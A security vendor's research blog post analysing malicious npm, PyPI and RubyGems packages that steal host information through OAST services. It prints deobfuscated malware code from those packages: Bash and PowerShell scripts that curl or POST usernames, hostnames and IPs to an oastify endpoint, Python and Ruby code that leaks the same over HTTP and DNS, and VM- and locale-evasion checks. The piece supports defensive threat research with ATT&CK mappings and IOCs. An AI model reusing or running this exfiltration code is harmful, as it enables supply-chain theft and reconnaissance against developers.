Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

Security News

Research

Weaponizing OAST: How Malicious Packages Exploit npm, PyPI, and RubyGems for Data Exfiltration and Recon

Socket researchers uncover how threat actors weaponize Out-of-Band Application Security Testing (OAST) techniques across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data.

Weaponizing OAST: How Malicious Packages Exploit npm, PyPI, and RubyGems for Data Exfiltration and Recon

Kirill Boychenko

January 3, 2025


Socket researchers uncover how threat actors weaponize Out-of-Band Application Security Testing (OAST) techniques across the npm, PyPI, and RubyGems ecosystems to exfiltrate sensitive data and remotely probe developer environments.

Over the last year, Socket’s threat research team has continually observed and identified malicious JavaScript, Python, and Ruby packages leveraging OAST services such as oastify.com and oast.fun to exfiltrate sensitive data to attacker-controlled servers. The same tools and techniques created for ethical security assessments are being misused by threat actors. Originally intended to uncover vulnerabilities in web applications, OAST methods are increasingly exploited to steal data, establish command and control (C2) channels, and execute multi-stage attacks.

OAST for Good vs. OAST for Bad#

Initially developed by PortSwigger’s Burp Collaborator and later adopted by services like Project Discovery’s interact.sh, OAST tools enable ethical researchers to perform DNS lookups, HTTP requests, and other network interactions beyond traditional testing scopes. Unfortunately, the same powerful capabilities are also co-opted by threat actors, who exploit them to stealthily exfiltrate data or identify pivot points in victims’ systems.

PortSwigger provides burpcollaborator.net and oastify.com as default OAST domains, while Project Discovery uses interact.sh alongside several alternatives (e.g., oast.pro, oast.live, oast.site, oast.online, oast.fun, and oast.me). OAST-based attacks are a dime-a-dozen, and Socket is routinely detecting them in scans for malicious packages.

npm Example: A High-Version Imposter#

Package: adobe-dcapi-web

Threat Actor: npm registry alias “nullljs”

Malicious Endpoint: hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com

This npm package pretends to relate to Adobe APIs, using artificially high version numbers (e.g., 99.99.9599.99.99) to deceive developers and automated scripts into trusting it as the “latest” update. The package contains obfuscated JavaScript code that performs checks to determine the system’s location, halts execution if it detects a Russian locale, and identifies virtualization environments. Once these checks are passed, the malicious code exfiltrates sensitive data to oastify.com.

Socket’s AI scanner flagged adobe-dcapi-web package as malicious.

The following malicious code snippets have been deobfuscated, decoded, defanged, and annotated with comments to provide insights into the threat actor’s techniques.

function checkIPLocation(e) {
  e = "hxxps://ipwhois[.]app/json/" + e; 
  // Queries ipwhois[.]app with the retrieved public IP to determine location

  http.get(e, e => {
    let o = "";
    e.on("data", e => {
      o += e; 
    });
    e.on("end", () => {
      try {
        
  // Terminates if the machine is located in Russia (country_code "RU")
        if ("RU" === JSON.parse(o).country_code) { 
          process.exit(1); 
        }

The code is specifically designed to avoid execution on machines located in Russia — a common tactic employed by threat actors in the region to evade scrutiny from local government and law enforcement agencies.

// Checks which OS (Windows, Linux, or macOS) is running 
const detectOSType = () => {
  var e = os.type();
  return e.startsWith("Windows") ? "Windows" : e.startsWith("Linux") ? "Linux" : e.startsWith("Darwin") ? "Mac" : "UNKNOWN";
};
const os_type = detectOSType();

The code adjusts its behavior based on the operating system and uses PowerShell on Windows or Bash scripts on Linux and macOS.

// Looks for typical VM-related processes (VirtualBox, VMware)
const processesToCheck = [
  "vboxservice.exe", 
  "vboxtray.exe", 
  "vmtoolsd.exe", 
  "vmwaretray.exe", 
  "vmwareuser.exe", 
  "VGAuthService.exe"
];

The code scans for common Virtual Machine (VM)-related processes, such as those associated with VirtualBox and VMware, to determine if it is running in a virtualized environment — a common technique used by malware developers to evade detection and analysis.

#!/bin/bash

# Collect system information into a variable
exfiltrate="
Username: $(whoami)
Hostname: $(hostname)
Public IP: ${remoteIP}
Time: $(date)
Current Path: $(pwd)
Package Name: $(npm run env | grep 'npm_package_name' | cut -d '=' -f 2)
Kernel: $(uname -a)
"

# Writes the information to a temporary file
echo -e "$exfiltrate" > /tmp/demo.txt

# Exfiltrates the file contents to the oastify.com endpoint
curl --silent -F "content=@/tmp/demo.txt" hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com

# Covering tracks by removing the temporary file
rm -f /tmp/demo.txt

The script above, embedded within the malicious code package, is designed to target Linux and macOS systems for data harvesting, exfiltration to the oastify.com endpoint, and erasing traces of its activity. Similarly, the following PowerShell script implements these functions, specifically targeting Windows systems.

# Retrieves current user, date/time, public IP, and system information
$whoami = whoami
$today = (Get-Date).DateTime
$publicIP = (Invoke-WebRequest -Uri 'hxxps://api.ipify[.]org?format=text' -UseBasicParsing).content
$system = systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Prepares temporary file paths for storing and sending data
$filePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "output.txt")
$scriptPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "demo.ps1")

# Saves collected user/system information into a text file
Write-Output "Username: $whoami`nDate: $today`nPublic IP: $publicIP`nSystem Information:" | Out-File -FilePath $filePath -Encoding ASCII
Add-Content $filePath $system

# Sets oastify.com endpoint for exfiltration
$destinationUrl = "hxxps://gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com"

# Uploads the file to the attacker’s server
Invoke-WebRequest -Uri $destinationUrl -Method POST -InFile $filePath -UseBasicParsing

# Removes temporary files to cover tracks
del $filePath
del $scriptPath


PyPI Example: Typosquatting for Silent Exfiltration#

Package: monoliht

Threat Actor: PyPI registry alias “drv0s”

Malicious Endpoints: hxxp://sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun, hxxp://dnipqouebm-psl.cn.oast-cn.byted-dast[.]com, hxxp://oqvignkp58-psl.i18n.oast-row.byted-dast[.]com

By reversing a single letter, the threat actor created a package monoliht that closely resembles the legitimate library monolith. The domains within the malicious script are used to silently collect metadata such as the victim’s hostname, username, and current working directory.

Socket AI Scanner’s analysis, including contextual details about the malicious package.

The following malicious code snippets, defanged and annotated with comments, offer insights into the threat actor’s techniques.

def main():
    # Collects system metadata
    hostname = platform.node()   # Collects the system's hostname
    username = getpass.getuser() # Fetches the username of the current user
    current_path = os.getcwd()   # Retrieves the current working directory
    rd_num = random.randint(10000, 99999) # Generates a random number to uniquely identify each request

    # Hardcoded malicious URLs for data exfiltration
    urls = [
        "hxxp://dnipqouebm-psl.cn.oast-cn.byted-dast[.]com",    # Malicious URL 1
        "hxxp://oqvignkp58-psl.i18n.oast-row.byted-dast[.]com", # Malicious URL 2
        "hxxp://sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun"   # Malicious URL 3
    ]

    # Sends data to each URL
    for url in urls:
        params = {
            "package": "monoliht",
            "hostname": hostname,  # Sends the hostname
            "username": username,  # Sends the username
            "dir": current_path    # Sends the current working directory
        }
        # Constructs the full URL with encoded query parameters
        full_url = f"{url}/realtime_p/pypi/{rd_num}?{urllib.parse.urlencode(params)}"
        
        try:
            # Sends an HTTP GET request to the malicious URL
            with urllib.request.urlopen(full_url) as response:
                logging.info(response.read().decode())   # Logs the server's response
        except Exception as e:
            logging.error(f"Could not reach {url}: {e}") # Logs errors if the request fails

if __name__ == "__main__":
    main()

The use of multiple domains for exfiltrating harvested information is likely intended to enhance the campaign's persistence and resilience against defensive measures. This distributed approach provides redundancy, allowing the threat actor to maintain control even if one endpoint is blocked.

RubyGems Example: DNS-Based Recon#

Package: chauuuyhhn, nosvemosssadfsd, holaaaaaafasdf

Threat Actor: RubyGems registry alias “Tu Nombre”

Malicious Endpoint: kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com

These gems contain embedded scripts designed to exfiltrate sensitive information — including external IP addresses, hostnames, user environment variables, current working directories, and folder names — via DNS queries to an attacker-controlled oastify.com endpoint. Since DNS traffic often appears benign to basic intrusion detection systems, this method allows the threat actor to perform initial reconnaissance with lower risk of detection.

The following malicious code snippets have been defanged and annotated with comments to provide insights into the threat actor’s techniques.

# Retrieves the external IP address of the victim
def get_external_ip
  uri = URI('hxxps://api[.]ipify.org?format=json')  # Fetches the external IP via the public API 
  response = Net::HTTP.get(uri)                     # Sends an HTTP GET request
  data = JSON.parse(response)                       # Parses the JSON response
  data['ip']                                        # Returns the external IP address
rescue => e
  puts "Error al obtener la IP externa: #{e.message}"  # Logs any errors; translation from Spanish "Error getting external IP" 
  nil                                                  # Returns nil if an error occurs
end

# Sanitizes strings for use in DNS queries
def sanitize_for_dns(str)
  str.gsub(/[^w\-\.]/, '_')  # Replace invalid DNS characters with underscores
end

# Constructs and sends a malicious DNS query
def send_dns_query
  
  # Step 1: Retrieve the external IP
  external_ip = get_external_ip     
  return if external_ip.nil?        # Exit if no IP is retrieved

  # Step 2: Gather additional system information
  hostname = Socket.gethostname     # Get system hostname
  user = ENV['USER']                # Get username
  path = Dir.pwd                    # Get working directory
  folder = File.basename(Dir.pwd)   # Get folder name

  # Step 3: Construct the malicious DNS query
  query = "#{external_ip}.#{sanitize_for_dns(hostname)}.#{sanitize_for_dns(user)}.#{sanitize_for_dns(folder)}.#{sanitize_for_dns(path)}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com"

  # Step 4: Send the malicious DNS query to the attacker's oastify.com server
  udp = UDPSocket.new               # Create a new UDP socket
  udp.send('', 0, query, 53)        # Send the DNS query to the attacker's domain on port 53
  udp.close                         # Close the socket
end

# Executes the malicious DNS query function
send_dns_query

The script functions as an initial reconnaissance tool, likely used to profile victims in preparation for subsequent attacks.

Outlook and Recommendations#

It’s hard to resist sharing this meme by Dana Epp, also known as SilverStr, an expert in application security through offensive security. Dana highlights the positive potential of OAST, empowering developers and security engineers to proactively identify and address dangerous, often-hidden vulnerabilities.

In stark contrast, threat actors misuse OAST for malicious purposes, repurposing the same techniques ethical hackers rely on to stealthily identify, exploit, and maintain access to vulnerable systems.

While we toast to OAST with the ethical researchers community, we foresee that threat actors will continue to exploit the same out-of-band testing techniques for malicious purposes. We will certainly continue to identify and prevent these kinds of attacks.

Protect your software supply chain with Socket’s free tools, whether you rely on npm, PyPI, RubyGems, or other ecosystems (including Go and Java). Socket’s GitHub appCLI tool, and browser extension provide real-time insights into the integrity of your supply chain, alerting you to malicious or suspicious components before they can gain a foothold.

MITRE ATT@CK:#

  • T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain
  • T1059.007 – Command and Scripting Interpreter: JavaScript
  • T1036.005 – Masquerading: Match Legitimate Name or Location
  • T1027.013 – Obfuscated Files or Information: Encrypted/Encoded File
  • T1546.016 – Event Triggered Execution: Installer Packages
  • T1567 — Exfiltration Over Web Service
  • T1048 — Exfiltration Over Alternative Protocol
  • T1082 — System Information Discovery
  • T1033 — System Owner/User Discovery
  • T1614 — System Location Discovery
  • T1083 — File and Directory Discovery
  • T1124 — System Time Discovery
  • T1590.005 — Gather Victim Network Information: IP Addresses
  • T1497.001 — Virtualization/Sandbox Evasion: System Checks
  • T1070.004 — Indicator Removal: File Deletion
  • T1059.001 — Command and Scripting Interpreter: PowerShell
  • T1059.004 — Command and Scripting Interpreter: Unix Shell

Indicators of Compromise (IOCs):#

Malicious npm Package:

Malicious PyPI Package:

Malicious RubyGems Packages:

Malicious OAST Endpoints:

  • gbv6crrcecvsm77b41bxoih8wz2rqie7.oastify[.]com
  • sbfwstspuutiarcjzptfenn9u0dsxhjlu.oast[.]fun
  • dnipqouebm-psl.cn.oast-cn.byted-dast[.]com
  • oqvignkp58-psl.i18n.oast-row.byted-dast[.]com
  • kc0262r8oypagq3e8f89uaqmodu4i16q.oastify[.]com

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc